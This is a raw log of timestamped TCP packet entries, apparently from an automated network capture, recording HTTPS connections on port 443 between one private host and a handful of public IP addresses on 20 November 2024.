Nov 20, 2024 06:40:31.763057947 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.763734102 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.763752937 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.763787985 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.763793945 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.763823986 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.763839960 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.764569044 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.764586926 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.764627934 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.764635086 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.764669895 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.764687061 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.765423059 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.765438080 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.765491009 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.765496969 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.765533924 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.766274929 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.766334057 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.766359091 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.766364098 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.766385078 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.766413927 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.767534971 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.767551899 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.798841000 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:31.798902035 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:31.798981905 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:31.799269915 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:31.799299002 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:31.815957069 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.816692114 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.816725969 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.817184925 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.817195892 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.825464964 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.826088905 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.826119900 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.826451063 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.826497078 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.826505899 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.826841116 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.826874018 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.827502012 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.827512980 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.836507082 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.836863995 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.836894035 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.837327957 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.837333918 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.915643930 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.915713072 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.915786028 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.915921926 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.915921926 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.915949106 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.915973902 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.919049025 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.919151068 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.919233084 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.919393063 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.919428110 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.923434019 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.923787117 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.923830032 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.924267054 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.924274921 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.932884932 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.932910919 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.932944059 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.933006048 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.933023930 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.933049917 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.933104038 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.933104038 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.933126926 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.933139086 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.933233976 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.933253050 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.933275938 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.933289051 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.937410116 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.937463045 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.937545061 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.937714100 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.937735081 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.938009977 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.938059092 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.938122034 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.938219070 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.938234091 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.938376904 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.938545942 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.938901901 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.938936949 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.938936949 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.938951015 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.938962936 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.941179037 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.941200972 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.941339016 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.941459894 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.941473007 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.026917934 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.027159929 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.027220964 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.027256012 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.027256012 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.027275085 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.027286053 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.030190945 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.030236006 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.033545971 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.035135031 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.035147905 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.224591017 CET	49821	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:40:32.224657059 CET	443	49821	142.250.74.196	192.168.2.5
Nov 20, 2024 06:40:32.224740028 CET	49821	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:40:32.224986076 CET	49821	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:40:32.225014925 CET	443	49821	142.250.74.196	192.168.2.5
Nov 20, 2024 06:40:32.251300097 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.251549959 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.251589060 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.253222942 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.253298044 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.253684998 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.253786087 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.253839016 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.299333096 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.361309052 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.361340046 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.361380100 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.361407995 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.361423969 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.361430883 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.361469030 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.402832985 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.431332111 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.431984901 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.431998968 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.432986021 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.433073044 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.433433056 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.433490038 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.433600903 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.433609009 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.447379112 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.447397947 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.447421074 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.447436094 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.447451115 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.447452068 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.447467089 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.447658062 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.447669029 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.447715998 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.450115919 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.450128078 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.450148106 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.450179100 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.450185061 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.450191975 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.450229883 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.450254917 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.494165897 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.494232893 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.494242907 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.494288921 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.494328976 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.494357109 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.495208025 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.495227098 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.519395113 CET	49822	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:32.519510031 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:32.519944906 CET	49822	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:32.521272898 CET	49822	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:32.521311045 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:32.536710024 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.536731958 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.536777020 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.536788940 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.536815882 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.536818027 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.536844015 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.567487955 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.568000078 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.568080902 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.568988085 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.569000959 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.577116013 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.578035116 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.578116894 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.579093933 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.579108953 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.589128017 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.589566946 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.589622021 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.590362072 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.590374947 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.604516983 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.604953051 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.604991913 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.605616093 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.605626106 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.636070013 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636121035 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636142969 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.636156082 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636189938 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636221886 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.636244059 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636271954 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.636450052 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636457920 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636493921 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636523962 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636523962 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.636543989 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636574984 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636595011 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.636627913 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.636627913 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.636629105 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.636629105 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.669739962 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.669817924 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.669914961 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.671436071 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.671436071 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.671463966 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.671484947 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.674293041 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.674596071 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.674632072 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.674685955 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.674710035 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.674725056 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.674820900 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.674830914 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.675218105 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.675230980 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.677059889 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.677125931 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.677252054 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.677274942 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.677287102 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.677299976 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.677304983 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.679533005 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.679599047 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.679673910 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.679820061 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.679852009 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.692130089 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.692181110 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.692321062 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.692365885 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.692375898 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.692385912 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.692390919 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.694757938 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.694840908 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.694931030 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.695058107 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.695089102 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.706398964 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.706429005 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.706490993 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.706554890 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.706670046 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.706690073 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.706881046 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.706893921 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.709131002 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.709168911 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.709233999 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.709419012 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.709435940 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.711168051 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.711196899 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.711231947 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.711249113 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.711273909 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.711304903 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.713284016 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.713291883 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.713300943 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.713318110 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.713352919 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.713368893 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.713396072 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.715156078 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.715186119 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.715194941 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.715219021 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.715223074 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.715234995 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.715276957 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.767641068 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.774235010 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.774317026 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.774404049 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.774564028 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.774585009 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.774596930 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.774602890 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.777247906 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.777307034 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.777556896 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.778103113 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:32.778124094 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:32.797318935 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.797327042 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.797358990 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.797377110 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.797390938 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.797409058 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.797440052 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.797461033 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.798329115 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.798340082 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.798366070 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.798394918 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.798408031 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.798434019 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.798476934 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.799226046 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.799241066 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.799293995 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.799308062 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.800003052 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.800102949 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.800117970 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.800168991 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.800184011 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.800276041 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.801090002 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.801104069 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.801157951 CET	49815	443	192.168.2.5	13.107.246.60
